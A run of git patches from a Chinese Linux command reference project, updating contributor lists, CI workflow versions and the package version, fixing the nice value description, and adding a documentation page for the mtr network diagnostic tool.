a/template/contributors.ejs +++ b/template/contributors.ejs @@ -45,6 +45,7 @@ Pan, Wen-Ming BingCoke Ein Verne +kid1412621 leo lewis1573 linuxwd @@ -57,8 +58,6 @@ rexlin600 sfwwslm shc -黑&蛋 -kid1412621 kassadin juemuren4449 jqz3.tech @@ -73,6 +72,8 @@ dongpohezui Deny dayday +Ray Yee +黑&蛋 Panthea Johnson 远方 谢民皆 @@ -102,8 +103,6 @@ sunls24 snovey shuangcui -cxalc -Ray Yee Mystic MinsonLee Marnm @@ -126,11 +125,13 @@ Guiying Li Frankie Divenire +Derek Danny DaYangtuo247 Cui Yang Azroy Alan +cxalc Forever121 c2ch brinkqiang From 034ef006ad221aa99612e83668029415094072d6 Mon Sep 17 00:00:00 2001 From: Lin Wuxian Date: Sun, 7 Apr 2024 16:42:10 +0800 Subject: [PATCH 0841/1019] doc: Update nice.md (#572) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 3句话能给你搞得前后矛盾 --- command/nice.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/nice.md b/command/nice.md index 36ffd54c6dd..a5c3640fc35 100644 --- a/command/nice.md +++ b/command/nice.md @@ -17,7 +17,7 @@ nice [选项] [命令 [参数]...] ### 选项 ```shell --n：指定nice值（整数，-20（最低）~19（最高））。 +-n：指定nice值（整数，-20（最高）~19（最低））。 ``` ### 参数 From 7f32876053f4fb10f3f2246253a07feaf636d426 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:42:36 +0000 Subject: [PATCH 0842/1019] doc: update README.md. --- README.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index e4a6a35f6ff..4d1fe93c1f0 100644 --- a/README.md +++ b/README.md @@ -405,9 +405,10 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang Shan Chenyu RichardLCD -Pan, Wen-Ming BingCoke +Pan, Wen-Ming Ein Verne +kassadin kid1412621 leo lewis1573 @@ -420,8 +421,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver rexlin600 sfwwslm -shc -kassadin juemuren4449 jqz3.tech jcdj666 @@ -435,7 +434,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dongpohezui Deny dayday -Ray Yee +cxalc +Mystic 黑&蛋 Panthea Johnson 远方 @@ -443,11 +443,10 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Kyofin 继刚 移动的红烧肉 -甲寅 极简XksA ReZero Loofra -徐伟 +Wei Xu 尘埃 宋小北 孤城落寞 @@ -466,7 +465,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 sunls24 snovey shuangcui -Mystic +shc MinsonLee Marnm mwei @@ -474,6 +473,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Lucien Lix LinuxZilong +Lin Wuxian 孟思行 LexsionLee Legend @@ -494,7 +494,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Cui Yang Azroy Alan -cxalc Forever121 c2ch brinkqiang @@ -522,7 +521,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 Rocher Robigus -Rining Wu +Rining Wu +Ray Yee 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 77e5f376752ccd70bea300d2a2647c45121824fb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 7 Apr 2024 08:42:36 +0000 Subject: [PATCH 0843/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 996caad14cd..eb8277186b1 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -42,9 +42,10 @@ Xingwen Zhang Shan Chenyu RichardLCD -Pan, Wen-Ming BingCoke +Pan, Wen-Ming Ein Verne +kassadin kid1412621 leo lewis1573 @@ -57,8 +58,6 @@ oliver rexlin600 sfwwslm -shc -kassadin juemuren4449 jqz3.tech jcdj666 @@ -72,7 +71,8 @@ dongpohezui Deny dayday -Ray Yee +cxalc +Mystic 黑&蛋 Panthea Johnson 远方 @@ -80,11 +80,10 @@ Kyofin 继刚 移动的红烧肉 -甲寅 极简XksA ReZero Loofra -徐伟 +Wei Xu 尘埃 宋小北 孤城落寞 @@ -103,7 +102,7 @@ sunls24 snovey shuangcui -Mystic +shc MinsonLee Marnm mwei @@ -111,6 +110,7 @@ Lucien Lix LinuxZilong +Lin Wuxian 孟思行 LexsionLee Legend @@ -131,7 +131,6 @@ Cui Yang Azroy Alan -cxalc Forever121 c2ch brinkqiang @@ -159,7 +158,8 @@ 殇 Rocher Robigus -Rining Wu +Rining Wu +Ray Yee

数据来源于 GitHub Contributors，使用action-contributors创建。 From 935bc49ce7c6848d05c924755435fbe675dda31d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:45:39 +0800 Subject: [PATCH 0844/1019] ci: update workflow config. --- .github/workflows/ci.yml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 91dc66245df..6157f048101 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -11,10 +11,10 @@ jobs: contents: write id-token: write steps: - - uses: actions/checkout@v3 - - uses: actions/setup-node@v3 + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 with: - node-version: 18 + node-version: 20 registry-url: 'https://registry.npmjs.org' - name: Generate Contributors Images @@ -138,9 +138,9 @@ jobs: # Create Docker Image - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v2 + uses: docker/setup-buildx-action@v3 - name: Login to Docker Hub - uses: docker/login-action@v2 + uses: docker/login-action@v3 with: username: ${{ secrets.DOCKER_USER }} password: ${{ secrets.DOCKER_PASSWORD }} From c3356639109b0040136d78242810fd399d106068 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:46:47 +0800 Subject: [PATCH 0845/1019] released v1.18.0 --- .github/workflows/sync.yml | 2 +- package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/sync.yml b/.github/workflows/sync.yml index be5cd36a5cd..df5a9fa39eb 100644 --- a/.github/workflows/sync.yml +++ b/.github/workflows/sync.yml @@ -17,7 +17,7 @@ jobs: steps: # Step 1: run a standard checkout action - name: Checkout target repo - uses: actions/checkout@v3 + uses: actions/checkout@v4 # Step 2: run the sync action - name: Sync upstream changes diff --git a/package.json b/package.json index 7a41fc8a286..c52d9644e3a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.16.0", + "version": "1.18.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From ecea873565e5b99dbd47fb05a64fdece84f6bf6e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:51:18 +0800 Subject: [PATCH 0846/1019] ci: update workflow config. --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 6157f048101..f458838acc4 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -134,7 +134,7 @@ jobs: continue-on-error: true name: 📦 linux-command publish to NPM env: - NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}} + NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}} # Create Docker Image - name: Set up Docker Buildx From 5e33440d0b6cc42307dba360319f139fcb4a97bb Mon Sep 17 00:00:00 2001 From: hululu1068 <68652362+hululu1068@users.noreply.github.com> Date: Sun, 7 Apr 2024 16:54:24 +0800 Subject: [PATCH 0847/1019] doc: add mtr.md (#540) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Create mtr.md `mtr`在单个网络诊断工具中结合了`traceroute`和`ping`程序的功能. * Update mtr.md --- command/mtr.md | 85 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 command/mtr.md diff --git a/command/mtr.md b/command/mtr.md new file mode 100644 index 00000000000..bf79cc61d1a --- /dev/null +++ b/command/mtr.md @@ -0,0 +1,85 @@ +mtr +=== + +`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 +用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后，它会向每台机器发送一系列 ICMP ECHO 请求，以确定与每台机器的链路质量。在此过程中，它会打印每台机器的运行统计数据。 + +## 补充说明 + +Debian发行版已经内置了`mtr`,其它发行版可自行安装，支持主流操作系统。 +可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。 + +### 语法 + +```shell +mtr (参数) (目标ip/域名) +``` + +### 参数 +| 参数 | 解释 +---- | ---- +-r | 以报告模式显示 +-c | 发送数据包大小 +-n | 不用主机名解释 +-s | 指定ping数据包的大小 +--report | 不动态显示结果 + +### 实例 + +```shell +使用 -r 参数显示报告： +[root@localhost ~]# mtr -r github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 10 0.5 0.5 0.4 0.6 0.1 + 2.|-- 10.12.52.0 0.0% 10 0.9 1.2 0.8 3.4 0.8 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 10 0.9 0.8 0.8 0.9 0.1 + 4.|-- 63.217.254.209 70.0% 10 1.3 1.3 1.2 1.3 0.0 + 5.|-- 63-216-176-146.static.pcc 0.0% 10 4.1 3.6 1.1 12.9 3.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 10 2.8 5.5 1.7 24.0 6.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 20.0% 10 36.4 36.5 36.3 36.7 0.1 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 10 36.4 37.3 36.3 39.5 1.4 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 10 35.9 38.8 35.9 53.3 5.4 + 10.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0 + +使用-c参数设置每秒发送数据包数量： +[root@localhost ~]# mtr -r -c 30 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.5 0.4 0.3 1.2 0.2 + 2.|-- 10.12.52.0 0.0% 30 0.8 1.2 0.8 9.2 1.6 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 3.0 0.4 + 4.|-- 63.217.254.209 40.0% 30 1.3 1.3 1.1 2.4 0.3 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.0 3.1 1.0 13.5 3.4 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 1.7 2.2 1.6 5.7 0.9 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.4 36.6 36.3 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 50.0% 30 36.7 47.1 36.2 102.7 21.0 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 41.4 35.9 78.4 8.8 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 11.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 12.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0 + +使用-s参数指定ping数据包的大小： +[root@localhost ~]# mtr -r -c 30 -s 1024 github.com + +HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev + 1.|-- 161.129.42.1 0.0% 30 0.6 0.6 0.3 4.3 0.7 + 2.|-- 10.12.52.0 0.0% 30 1.0 1.1 0.8 7.0 1.1 + 3.|-- unn-138-199-1-182.cdn77.c 0.0% 30 0.9 0.9 0.8 1.1 0.1 + 4.|-- 63.217.254.209 66.7% 30 1.3 1.3 1.2 1.5 0.1 + 5.|-- 63-216-176-146.static.pcc 0.0% 30 3.1 3.3 1.0 18.4 4.5 + 6.|-- ae27-0.icr02.hkg20.ntwk.m 0.0% 30 2.2 3.7 1.7 12.2 2.5 + 7.|-- be-102-0.ibr01.hkg20.ntwk 6.7% 30 36.5 36.6 36.4 38.9 0.5 + 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7 + 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9 + 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 + +``` From 85965671e39d77a36f51b1ee3b76103583c470e5 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 7 Apr 2024 16:58:04 +0800 Subject: [PATCH 0848/1019] doc: update mtr.md #540 --- command/mtr.md | 32 ++++++++++++++++++++------------ dist/data.json | 25 +++++++++++++++++++++++++ dist/data.min.json | 2 +- 3 files changed, 46 insertions(+), 13 deletions(-) diff --git a/command/mtr.md b/command/mtr.md index bf79cc61d1a..fdcd34ea0f7 100644 --- a/command/mtr.md +++ b/command/mtr.md @@ -1,12 +1,13 @@ mtr === -`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 -用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后，它会向每台机器发送一系列 ICMP ECHO 请求，以确定与每台机器的链路质量。在此过程中，它会打印每台机器的运行统计数据。 +`mtr` 结合了 `traceroute` 和 `ping` 程序的功能，是一款简单的网络诊断工具 ## 补充说明 -Debian发行版已经内置了`mtr`,其它发行版可自行安装，支持主流操作系统。 +用于调查 mtr 运行的主机与用户指定的目标主机之间的网络连接。在确定机器之间每个网络跳转的地址后，它会向每台机器发送一系列 ICMP ECHO 请求，以确定与每台机器的链路质量。在此过程中，它会打印每台机器的运行统计数据。 + +Debian 发行版已经内置了 `mtr`,其它发行版可自行安装，支持主流操作系统。 可以访问其[官网](https://www.bitwizard.nl/mtr)详细了解。 ### 语法 @@ -16,18 +17,20 @@ mtr (参数) (目标ip/域名) ``` ### 参数 + | 参数 | 解释 ---- | ---- --r | 以报告模式显示 --c | 发送数据包大小 --n | 不用主机名解释 --s | 指定ping数据包的大小 ---report | 不动态显示结果 +`-r` | 以报告模式显示 +`-c` | 发送数据包大小 +`-n` | 不用主机名解释 +`-s` | 指定ping数据包的大小 +`--report` | 不动态显示结果 ### 实例 +使用 `-r` 参数显示报告： + ```shell -使用 -r 参数显示报告： [root@localhost ~]# mtr -r github.com HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev @@ -46,8 +49,11 @@ HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev 13.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 14.|-- ??? 100.0 10 0.0 0.0 0.0 0.0 0.0 15.|-- 20.205.243.166 0.0% 10 35.7 35.8 35.7 35.9 0.0 +``` -使用-c参数设置每秒发送数据包数量： +使用 `-c` 参数设置每秒发送数据包数量： + +```shell [root@localhost ~]# mtr -r -c 30 github.com HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev @@ -66,8 +72,11 @@ HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev 13.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 14.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 15.|-- 20.205.243.166 0.0% 30 35.7 35.8 35.6 35.8 0.0 +``` -使用-s参数指定ping数据包的大小： +使用 `-s` 参数指定 `ping` 数据包的大小： + +```shell [root@localhost ~]# mtr -r -c 30 -s 1024 github.com HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev @@ -81,5 +90,4 @@ HOST: WIKIHOST Loss% Snt Last Avg Best Wrst StDev 8.|-- be-10-0.ibr01.sg3.ntwk.ms 33.3% 30 38.3 36.9 36.3 39.1 0.7 9.|-- ae100-0.icr01.sg3.ntwk.ms 0.0% 30 36.1 38.4 35.9 66.6 5.9 10.|-- ??? 100.0 30 0.0 0.0 0.0 0.0 0.0 - ``` diff --git a/dist/data.json b/dist/data.json index 83b9625abad..a5301ee6e3b 100644 --- a/dist/data.json +++ b/dist/data.json @@ -364,6 +364,11 @@ "p": "/colrm", "d": "删除文件中的指定列" }, + "column": { + "n": "column", + "p": "/column", + "d": "按列格式化输出文件" + }, "comm": { "n": "comm", "p": "/comm", @@ -969,6 +974,11 @@ "p": "/halt", "d": "关闭正在运行的Linux操作系统" }, + "hcitool": { + "n": "hcitool", + "p": "/hcitool", + "d": "hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。" + }, "hdparm": { "n": "hdparm", "p": "/hdparm", @@ -1184,6 +1194,11 @@ "p": "/iptstate", "d": "显示iptables的工作状态" }, + "iscsiadm": { + "n": "iscsiadm", + "p": "/iscsiadm", + "d": "管理iSCSI连接" + }, "ispell": { "n": "ispell", "p": "/ispell", @@ -1619,6 +1634,11 @@ "p": "/mtools", "d": "显示mtools支持的指令" }, + "mtr": { + "n": "mtr", + "p": "/mtr", + "d": "`mtr`结合了`traceroute`和`ping`程序的功能，是一款简单的网络诊断工具。 " + }, "mv": { "n": "mv", "p": "/mv", @@ -1859,6 +1879,11 @@ "p": "/ping6", "d": "测试主机之间网络的连通性(ipv6)" }, + "pip": { + "n": "pip", + "p": "/pip", + "d": "Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块" + }, "pkexec": { "n": "pkexec", "p": "/pkexec", diff --git a/dist/data.min.json b/dist/data.min.json index b8a3bd417a0..02f10339d70 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian 